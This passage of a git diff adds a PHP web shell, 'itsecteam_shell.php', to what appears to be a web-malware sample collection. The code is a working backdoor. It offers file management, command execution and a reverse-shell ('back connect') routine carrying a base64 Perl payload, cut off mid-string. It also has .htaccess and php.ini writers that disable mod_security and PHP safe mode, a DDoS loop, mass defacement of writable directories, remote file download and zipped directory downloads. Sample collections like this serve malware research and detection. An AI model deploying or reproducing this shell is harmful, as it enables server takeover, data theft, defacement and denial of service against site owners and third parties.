face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Copy File : </font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input size=20 name=copyname><input type=hidden name=address value="'.getcwd().'"> To <input size=40 name=cpyto value="'.getcwd().$slash.'"> <input type=submit value =Copy></form></td></tr> +'.$end; +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/itsecteam_shell.php b/web-malware-collection-master/Backdoors/PHP/itsecteam_shell.php new file mode 100755 index 0000000..3d43067 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/itsecteam_shell.php @@ -0,0 +1,1284 @@ +<?php +session_start(); +set_time_limit(0); +error_reporting(0); +if (get_magic_quotes_gpc()) { +function stripslashes_deep($value) { + $value = is_array($value) ? + array_map('stripslashes_deep', $value) : + stripslashes($value); + + return $value; + } +$_POST = array_map('stripslashes_deep', $_POST); +$_GET = array_map('stripslashes_deep', $_GET); +$_COOKIE = array_map('stripslashes_deep', $_COOKIE); +$_REQUEST = array_map('stripslashes_deep', $_REQUEST); +} +if($_GET['do']=="remove"){ +unlink(getcwd().$_SERVER["SCRIPT_NAME"]); +} +$basep=$_SERVER['DOCUMENT_ROOT']; +if(strtolower(substr(PHP_OS, 0, 3)) == "win"){ +$slash="\\"; +$basep=str_replace("/","\\",$basep); +}else{ +$slash="/"; +$basep=str_replace("\\","/",$basep); +} +if($_GET['do']=="remove"){ +unlink(getcwd().$slash.$_SERVER["SCRIPT_NAME"]); +} +if ($_REQUEST['address']){ +if(is_readable($_REQUEST['address'])){ +chdir($_REQUEST['address']);}else{ +alert("Permission Denied !");}} +$me=$_SERVER['PHP_SELF']; +$formp="<form method=post action='".$me."'>"; +$formg="<form method=get action='".$me."'>"; +$nowaddress='<input type=hidden name=address value="'.getcwd().'">'; +if (isset($_FILES["filee"]) and ! $_FILES["filee"]["error"]) { + if(move_uploaded_file($_FILES["filee"]["tmp_name"], $_FILES["filee"]["name"])){ + alert("File Upload Successful"); + }else{ +alert("Permission Denied !"); + + } + } +if(ini_get('disable_functions')){ +$disablef=ini_get('disable_functions'); +}else{ +$disablef="All Functions Enable"; +} +if(ini_get('safe_mode')){ +$safe_modes="On"; +}else{ +$safe_modes="Off"; +} +if ($_REQUEST['chmode'] && $_REQUEST['chmodenum']){ +if (chmod($_POST['chmode'],"0".$_POST['chmodenum'])){alert("Chmod Ok!");}else{alert("Permission Denied !");} +} +$picdir='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAAB30lEQVR42mNggAAuIBZCwjxAzMiAC4jIykrZOLplhcWlzAuLS50PwkFRiTPl1TQDBSQk7OFYRMSejY1NA6iFiUFEUinKwS/mcURW1f9wIA7NrPwflFr63zow7bOJd9IbQ8/EN7qucW+0XOLeyJv5XmETU9RjUDV03BlX2P43oaz/f2hO+3+v5Pr/DlEV/81Div/r+eT+V3PL+C/tlvefP6Lzv6BRyD82ce1IBl07/zNJFf3/Eyon/Q8v7vuf0LPqf3Dt7P9mYWX/1YMr/oslTfrPnzjpv4h92n8Bo7D/rJJ6eQyS5n63PLJa/wcU9f33K+z9H9O7+n/TiRf/7Xp3/Ods3v9fJGnif3H37P/Cjqn/+azj/7PIGrQxsBn7P+V2yfzP45bzn9c9979cZN3/1LUX/ktMvfiftfnQf8Gw+v8C3vn/+Txy/3O7Zv1nVjCZx8DqkPCWw7/0PwgLRtb/d+vf/F+3fPZ/jtDa/0y1O/4zVW76zx5c/R+mhlnFfBsDm3fOZ/bIhv+cMU3/pXIm/xdK7f4P4oMwW0zLf7bEnv/s0c1wMSY953MMQnG1P5UKJ/8nFgvaBz9jYPTJfM2c2PqfWMxoGfCFgUFGK4pBw3wh0VhCuRSUkligaY9YzAIA/X/3S1/5EEMAAAAASUVORK5CYII='; +$picfile='iVBORw0KGgoAAAANSUhEUgAAAA0AAAANCAYAAABy6+R8AAABaElEQVR42mMIXfWfef7JT7Yrz34o33ABhj9BaKDYrP3PE6IqpgkyoINNFz9Gnnzw/f/NFz8w8JYrX//P2H6zMrByijCKpl1XPkbee/Xt//fv3zHw/ltf/x+4/vnT7O036wOzkTSuP/cu8sazz/+/fPmCgS8++vx/25XP/xcceP4xr2dLPFA5M1jTytPvIq88/vj/40fc+Oz15//LOxZXAZVzgDUtO/E68tLDD/8/fMCB33/4f/rqs/8lLQur4ZoWH3sdeeH+h//v37/Hjt+9/3/yytP/RU1ImuYefh159u67/2/fvsWK37x58//4pSf/C9A1nb7z9v/r169x4mOXHv/PQ9a0AOi8M3cgJmLDIE0nLj9Bdd6CYy8iz94BKniNBb+B0CdBmpADonP9/cjlBx7/333q8f89p9HwGaA4kF665/7/lGqkIHfwKRax9Yh1t3IICLZ1CApBx1ZAbGIbECwlr28IVM4KAPZgwQxbJyVoAAAAAElFTkSuQmCC'; +$head='<style type="text/css"> +A:link {text-decoration: none} +A:visited {text-decoration: none} +A:active {text-decoration: none} +A:hover {text-decoration: underline overline; color: 414141;} +.focus td{border-top:0px solid #f8f8f8;border-bottom:1px solid #ddd;background:#f2f2f2;padding:0px 0px 0px 0px;} +</style><head> +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> +<title>iTSecTeam</title> +</head><body topmargin="0" leftmargin="0" rightmargin="0" +bgcolor="#f2f2f2"><div align="center"> +&nbsp;<table border="1" width="1000" height="14" bordercolor="#CDCDCD" style="border-collapse: collapse; border-style: solid; border-width: 1px"> +<tr> +<td height="30" width="996"> +<p align="center"><font face="Tahoma" style="font-size: 9pt"><span lang="en-us"><a href="?do=home">Home</a> -- <a href="?do=filemanager&address='.getcwd().'">File Manager</a> -- <a href="?do=cmd&address='.getcwd().'">Command Execute</a> -- <a href="?do=bc&address='.getcwd().'">Back Connect</a> -- +<a href="?do=bypasscmd&address='.getcwd().'">BypasS Command eXecute(SF-DF)</a> -- <a href="?do=symlink&address='.getcwd().'">Symlink</a> -- +<a href="?do=bypassdir&address='.getcwd().'">BypasS Directory</a> -- <a href="?do=eval&address='.getcwd().'"> +Eval Php</a> -- <a href="?do=db&address='.getcwd().'">Data Base</a> -- <a href="?do=convert&address='.getcwd().'">Convert</a> -- <a href="?do=mail&address='.getcwd().'">Mail Boomber</a><a href="?do=info&address='.getcwd().'"> +<br>Server Information</a> -- <a href="?do=d0slocal&address='.getcwd().'">Dos Local Server</a> -- <a href="?do=dump&address='.getcwd().'">Backup Database</a> -- <a href="?do=mass&address='.getcwd().'">Mass Deface</a> -- <a href="?do=dlfile&address='.getcwd().'">Download Remote File</a> -- <a href="?do=dd0s&address='.getcwd().'">DDoS</a> -- <a href="?do=perm&address='.getcwd().'">Find Writable Directory</a> -- <a href="?do=apache&address='.getcwd().'">Server</a> -- <a href="?do=remove&address='.getcwd().'">Remove Me</a> -- <a href="?do=about&address='.getcwd().'">About</a> +</span></font></td></tr></table></div> +<div align="center"> +<table id="table2" style="border-collapse: collapse; border-style: +solid;" width="1000" bgcolor="#eaeaea" border="1" bordercolor="#c6c6c6" +cellpadding="0"><tbody><tr><td><div align="center"><table id="table3" style="border-style:dashed; border-width:1px; margin-top: 1px; margin-bottom: 0px; +border-collapse: collapse" width="950" border="1" bordercolor="#cdcdcd" +height="10" bordercolorlight="#CDCDCD" bordercolordark="#CDCDCD"><tbody><tr><font face="Tahoma" style="font-size: 9pt"><div align="center"> +Operation System : '.php_uname().' | Php Version : '.phpversion().' | Safe Mode : '.$safe_modes.' <td style="border: 1px solid rgb(198, 198, 198);" +width="950" bgcolor="#e7e3de" height="10" valign="top">'; +$end='</td></tr></tbody></table></div></td></tr><tr><td bgcolor="#c6c6c6"><p style="margin-top: 0pt; margin-bottom: 0pt" align="center"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt">'.base64_decode("Q29kZWQgYnkgQW1pbiBTaG9rb2hpIChQZWp2YWsp").'<br><a href="http://www.itsecteam.com" target="_blank"><font size=1>'.base64_decode("aVRTZWNUZWFtLmNvbQ==").'</a></font></span></td></tr></tbody></table></div></body></html>'; +$deny=$head."<p align='center'> <b>Oh My God!<br> Permission Denied".$end; +function alert($text){ +echo "<script>alert('".$text."')</script>"; +} +if ($_GET['do']=="edit" && $_GET['filename']!="dir"){ +if(is_readable($_GET['address'].$_GET['filename'])){ +$opedit=fopen($_GET['address'].$_GET['filename'],"r"); +while(!feof($opedit)) +$data.=fread($opedit,9999); +fclose($opedit); +echo $head.$formp.$nowaddress.'<p align="center">File Name : '.$_GET['address'].$_GET['filename'].'<br><textarea rows="19" name="fedit" cols="87">'.htmlentities("$data").'</textarea><br><input value='.$_GET['filename'].' name=namefe><br><input type=submit value=" Save "></form></p>'.$end;exit; +}else{alert("Permission Denied !");}} +function sizee($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +if($_REQUEST['do']=='about'){ +echo $head."<p align='center'><b><font color=red>ITSecTeam, IT Security Research & Penetration Testing Team</b></font><br>Version 2.1 <br>Last Update : 2010/10/10<br>Coded By : Amin Shokohi(Pejvak)<br>Special Thanks(M3hr@n.S , Am!rkh@n , R3dm0ve , Provider , H4mid@Tm3l , ahmadbady , Doosib )<br>Home Page : <a href='http://www.itsecteam.com'>http://www.itsecteam.com</a><br>Update Notice: <a href='http://itsecteam.com/en/tools/itsecteam_shell.htm'>ITSecTeam Shell</a><br>Forum : <a href='http://www.forum.itsecteam.com'>http://www.forum.itsecteam.com</a><br> +<center> +<PRE> + + ______ ______ ____ ______ +/\__ _\/\__ _\/\ _`\ /\__ _\ +\/_/\ \/\/_/\ \/\ \,\L\_\ __ ___\/_/\ \/ __ __ ___ ___ + \ \ \ \ \ \ \/_\__ \ /'__`\ /'___\ \ \ \ /'__`\ /'__`\ /' __` __`\ + \_\ \__ \ \ \ /\ \L\ \/\ __//\ \__/ \ \ \/\ __//\ \L\.\_/\ \/\ \/\ \ + /\_____\ \ \_\ \ `\____\ \____\ \____\ \ \_\ \____\ \__/.\_\ \_\ \_\ \_\ + \/_____/ \/_/ \/_____/\/____/\/____/ \/_/\/____/\/__/\/_/\/_/\/_/\/_/ + + + + + + +</PRE> + + +".$end;exit; + +} +function deleteDirectory($dir) { +if (!file_exists($dir)) return true; +if (!is_dir($dir) || is_link($dir)) return unlink($dir); +foreach (scandir($dir) as $item) { +if ($item == '.' || $item == '..') continue; +if (!deleteDirectory($dir . "/" . $item)) { +chmod($dir . "/" . $item, 0777); +if (!deleteDirectory($dir . "/" . $item)) return false; +};}return rmdir($dir);} + +function download($fileadd,$finame){ +$dlfilea=$fileadd.$finame; +header("Content-Disposition: attachment; filename=" . $finame); +header("Content-Type: application/download"); +header("Content-Length: " . filesize($dlfilea)); +flush(); +$fp = fopen($$dlfilea, "r"); +while (!feof($fp)) +{ + echo fread($fp, 65536); + flush(); +} +fclose($fp); +} +if($_GET['do']=="rename"){ +echo $head.$formp.$nowaddress.'<p align="center"><input value='.$_GET['filename'].'><input type=hidden name=addressren value='.$_GET['address'].$_GET['filename'].'> To <input name=nameren><br><input type=submit value=" Save "></form></p>'.$end;exit; +} + +if ($_GET['byapache']=='ofms'){ +$fse=fopen(getcwd().$slash.".htaccess","w"); +fwrite($fse,'<IfModule mod_security.c> + Sec------Engine Off + Sec------ScanPOST Off +</IfModule>'); +fclose($fse); +}elseif ($_GET['byapache']=='bysap'){ +$fse=fopen(getcwd().$slash.".htaccess","w"); +fwrite($fse,'Options +FollowSymLinks +DirectoryIndex Persian-Gulf-For-Ever.html'); +fclose($fse); +}elseif ($_GET['byapache']=='sfadf'){ +$fse=fopen(getcwd().$slash."php.ini","w"); +fwrite($fse,'safe_mode=OFF +disable_functions=NONE'); +fclose($fse); +} +if($_GET['do']=="apache"){ +echo $head.$formg.$nowaddress.'<p align="center"> +<select name=byapache> +<option value="ofms">Off Mode Security(.htaccess)</option><option value="bysap">Bypass Symlink(.htaccess)</option> +<option value="sfadf">Disable Safe Mode & Disable Function(Php.ini)</option> +</select><br><input type=submit value=eXecute></form></p>'.$end;exit; +} +if($_GET['do']=="dd0s"){ +echo $head.$formg.$nowaddress.'<p align="center">Address : <input name=urldd0 size=50> Time : <input name=timedd0 size=6 value=40000><br><input type=submit value=" DDoS "></form></p>'.$end;exit; +} + +if($_GET['urldd0'] && $_GET['timedd0']){ +for ($id=0;$$id<$_GET['timedd0'];$id++){ +$fp=null; +$contents=null; +$fp=fopen($_GET['urldd0'],"rb"); +while (!feof($fp)) { + $contents .= fread($fp, 8192); +} +fclose($fp); +}} +if($_GET['do']=="dlfile"){ +echo $head.$formp.$nowaddress.'<p align="center">Download Remote File!<br>Address : <input name=adlr size=70><br>Save To : <input name=adsr value='.getcwd().$slash.' size=70><br><input type=submit value=" Download "></form></p>'.$end;exit; +} +function dirpe($addres){ +global $slash; +$idd=0; +if ($dirhen = @opendir($addres)) { +while ($file = readdir($dirhen)) { +$permdir=str_replace('//','/',$addres.$slash.$file); +if($file!='.' && $file!='..' && is_dir($permdir)){ +if (is_writable($permdir)) { +$dirdata[$idd]['filename']=$permdir; +$idd++; +} +dirpe($permdir); + } + } + closedir($dirhen); + } else { + return ("notperm"); + } + if ($dirdata){ + return $dirdata; + }else{ + return "notfound"; + + } +} +function dirpmass($addres,$massname,$masssource){ +global $slash; +$idd=0; +if ($dirhen = @opendir($addres)) { +while ($file = readdir($dirhen)) { +$permdir=str_replace('//','/',$addres.$slash.$file); +if($file!='.' && $file!='..' && is_dir($permdir)){ +if (is_writable($permdir)) { +if ($fm=fopen($permdir.$slash.$massname,"w")){ +fwrite($fm,$masssource); +fclose($fm); +$dirdata[$idd]['filename']=$permdir; +} + +$idd++; +} +dirpmass($permdir); + } + } + closedir($dirhen); + } else { + return ("notperm"); + } + if ($dirdata){ + return $dirdata; + }else{ + return "notfound"; + + } +} +if($_GET['do']=="perm"){ +echo $head.$formp.'<p align="center">Find All Folder Writeable<br> <input name=affw value="'.getcwd().$slash.'" size=50><br><input type=submit value=" Search "></form></p>'.$end;exit; +} +if ($_POST['affw']){ +$arrfilelist=dirpe($_POST['affw']); +if ($arrfilelist=='notfound'){ +alert("Not Found !"); +}elseif($arrfilelist=='notperm'){ +alert("Permission Denied !"); +}else{ +foreach ($arrfilelist as $tmpdir){ + if ($coi %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"';} +$coi++; +$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td> +<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>'; +} +echo $head.' +<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td> +</tr></table>'.$permdir.'</table> +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---&gt; &nbsp;</td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.' +<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > +<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----&gt;</b>&nbsp;&nbsp;File : </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>&nbsp;&nbsp;Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----&gt;</b> Dirctory Name </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"> +<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----&gt;</b> Name File </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----&gt;</b></b>&nbsp;&nbsp;File : </td> +<td width="750"><font face="Tahoma" style="font-size: 10pt"> +<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit; +}} +if($_GET['do']=="mass"){ +echo $head.$formp.'<p align="center">[Mass Deface]<br><input name=mffw value="'.getcwd().$slash.'" size=50><input name=massname value="def.htm" size=10><br><textarea name=masssource cols=60 rows=18>Source</textarea><br><input type=submit value=" Mass "></form></p>'.$end;exit; +} +if ($_POST['mffw']){ +$arrfilelist=dirpmass($_POST['mffw'],$_POST['massname'],$_POST['masssource']); +if ($arrfilelist=='notfound'){ +alert("Not Found !"); +}elseif($arrfilelist=='notperm'){ +alert("Permission Denied !"); +}else{ +foreach ($arrfilelist as $tmpdir){ + if ($coi %2){ +$colort='"#e7e3de"'; +}else{ +$colort='"#e4e1de"';} +$coi++; +$permdir=$permdir.'<table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" bgcolor='.$colort.' width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><a href="?address='.$tmpdir['filename'].'"><b>'.$tmpdir['filename'].'</b></span></td> +<td valign="top" height="19" width="65"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="22"><font face="Tahoma" style="font-size: 9pt"></td><td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td> +<td valign="top" height="19" width="30"><font face="Tahoma" style="font-size: 9pt"></td></tr></table>'; +} +echo $head.' +<font face="Tahoma" style="font-size: 6pt"><table cellpadding="0" cellspacing="0" style="border-style: dotted; border-width: 1px" bordercolor="#CDCDCD" width="950" height="20" dir="ltr"> +<tr><td valign="top" height="19" width="842"><p align="left"><span lang="en-us"><font face="Tahoma" style="font-size: 9pt"><font color=#4a7af4>Now Directory : '.getcwd()."<br>".printdrive().'<br><a href="?do=back&address='.$backaddresss.'"><font color=#000000>Back</span></td> +</tr></table>'.$permdir.'</table> +<table border="0" width="950" style="border-collapse: collapse" id="table4" cellpadding="5"><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700"><br>'.$formg.'Change Directory</font></td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"><input name=address value='.getcwd().'><input type=submit value="Go"></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt; font-weight:700">Upload ---&gt; &nbsp;</td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<form action="'.$me.'" method=post enctype=multipart/form-data>'.$nowaddress.' +<font face="Tahoma" style="font-size: 10pt"><input size=40 type=file name=filee > +<input type=submit value=Upload /><br>'.$ifupload.'</form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Chmod ----&gt;</b>&nbsp;&nbsp;File : </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><form method=post action=/now2.php><input size=55 name=chmode>&nbsp;&nbsp;Permission : <input name=chmodnum value=777 size=3> <input type=submit value=" Ok "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><b>'.$formp.'Create Dir ----&gt;</b> Dirctory Name </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"> +<input name=cdirname size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Create File ----&gt;</b> Name File </td> +<td width="750" style="border-left-width: 1px; border-right-width: 1px; border-top-width: 1px; border-bottom: 1px solid #808080"> +<font face="Tahoma" style="font-size: 10pt"><input name=cfilename size=20>'.$nowaddress.' <input type=submit value=" Create "></form></td></tr><tr> +<td width="200" align="right" valign="top"> +<font face="Tahoma" style="font-size: 10pt">'.$formp.'<b>Copy ----&gt;</b></b>&nbsp;&nbsp;File : </td> +<td width="750"><font face="Tahoma" style="font-size: 10pt"> +<input size=40 name=copyname> To Directory <input size=40 name=cpyto> <input type=submit value =Copy></form></td>'.$end;exit; +}} +if($_POST['adlr'] && $_POST['adsr']){ +$url = $_POST['adlr']; +$newfname = $_POST['adsr'] . basename($url); +$file = fopen ($url, "rb"); +if ($file) { + $newf = fopen ($newfname, "wb"); + if ($newf) + while(!feof($file)) { + fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 ); + } + alert("File Downloaded Success"); +}else{alert("Can Not Open File");} +if ($file) { + fclose($file); +} +if ($newf) { + fclose($newf); +} +} +if($_GET['do']=="down" and $_GET['type']=='file'){ +download($_GET['address'],$_GET['filename']);} +if($_GET['do']=="down" and $_GET['type']=='dir'){ +class zipfile +{ +var $datasec = array(); +var $ctrl_dir = array(); +var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; +var $old_offset = 0; +function add_dir($name) +{ +$name = str_replace("\\", "/", $name); +$fr = "\x50\x4b\x03\x04"; +$fr .= "\x0a\x00"; +$fr .= "\x00\x00"; +$fr .= "\x00\x00"; +$fr .= "\x00\x00\x00\x00"; +$fr .= pack("V",0); +$fr .= pack("V",0); +$fr .= pack("V",0); +$fr .= pack("v", strlen($name) ); +$fr .= pack("v", 0 ); +$fr .= $name; +$fr .= pack("V",$crc); +$fr .= pack("V",$c_len); +$fr .= pack("V",$unc_len); +$this -> datasec[] = $fr; +$new_offset = strlen(implode("", $this->datasec)); +$cdrec = "\x50\x4b\x01\x02"; +$cdrec .="\x00\x00"; +$cdrec .="\x0a\x00"; +$cdrec .="\x00\x00"; +$cdrec .="\x00\x00"; +$cdrec .="\x00\x00\x00\x00"; +$cdrec .= pack("V",0); +$cdrec .= pack("V",0); +$cdrec .= pack("V",0); +$cdrec .= pack("v", strlen($name) ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$ext = "\x00\x00\x10\x00"; +$ext = "\xff\xff\xff\xff"; +$cdrec .= pack("V", 16 ); +$cdrec .= pack("V", $this -> old_offset ); +$this -> old_offset = $new_offset; +$cdrec .= $name; +$this -> ctrl_dir[] = $cdrec; +} +function add_file($data, $name) +{ +$name = str_replace("\\", "/", $name); +$fr = "\x50\x4b\x03\x04"; +$fr .= "\x14\x00"; +$fr .= "\x00\x00"; +$fr .= "\x08\x00"; +$fr .= "\x00\x00\x00\x00"; +$unc_len = strlen($data); +$crc = crc32($data); +$zdata = gzcompress($data); +$zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2); +$c_len = strlen($zdata); +$fr .= pack("V",$crc); +$fr .= pack("V",$c_len); +$fr .= pack("V",$unc_len); +$fr .= pack("v", strlen($name) ); +$fr .= pack("v", 0 ); +$fr .= $name; +$fr .= $zdata; +$fr .= pack("V",$crc); +$fr .= pack("V",$c_len); +$fr .= pack("V",$unc_len); +$this -> datasec[] = $fr; +$new_offset = strlen(implode("", $this->datasec)); +$cdrec = "\x50\x4b\x01\x02"; +$cdrec .="\x00\x00"; +$cdrec .="\x14\x00"; +$cdrec .="\x00\x00"; +$cdrec .="\x08\x00"; +$cdrec .="\x00\x00\x00\x00"; +$cdrec .= pack("V",$crc); +$cdrec .= pack("V",$c_len); +$cdrec .= pack("V",$unc_len); +$cdrec .= pack("v", strlen($name) ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("v", 0 ); +$cdrec .= pack("V", 32 ); +$cdrec .= pack("V", $this -> old_offset ); +$this -> old_offset = $new_offset; +$cdrec .= $name; +$this -> ctrl_dir[] = $cdrec; +} +function file() { +$data = implode("", $this -> datasec); +$ctrldir = implode("", $this -> ctrl_dir); +return +$data. +$ctrldir. +$this -> eof_ctrl_dir. +pack("v", sizeof($this -> ctrl_dir)). +pack("v", sizeof($this -> ctrl_dir)). +pack("V", strlen($ctrldir)). +pack("V", strlen($data)). +"\x00\x00"; +} +} +$dlfolder=$_GET['address'].$slash.$_GET['dirname'].$slash; +$zipfile = new zipfile(); +function get_files_from_folder($directory, $put_into) { +global $zipfile; +if ($handle = opendir($directory)) { +while (false !== ($file = readdir($handle))) { +if (is_file($directory.$file)) { +$fileContents = file_get_contents($directory.$file); +$zipfile->add_file($fileContents, $put_into.$file); +} elseif ($file != '.' and $file != '..' and is_dir($directory.$file)) { +$zipfile->add_dir($put_into.$file.'/'); +get_files_from_folder($directory.$file.'/', $put_into.$file.'/'); +} +} +} +closedir($handle); +} +$datedl=date("y-m-d"); +get_files_from_folder($dlfolder,''); +header("Content-Disposition: attachment; filename=" . $_GET['dirname']."-".$datedl.".zip"); +header("Content-Type: application/download"); +header("Content-Length: " . strlen($zipfile -> file())); +flush(); +echo $zipfile -> file(); +$filename = $_GET['dirname']."-".$datedl.".zip"; +$fd = fopen ($filename, "wb"); +$out = fwrite ($fd, $zipfile -> file()); +fclose ($fd); +} +if ($_REQUEST['cdirname']){ +if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}} +function bcn($ipbc,$pbc){ +$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3 +NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb +MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw +dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n +IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo +YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN +LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0 +KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll 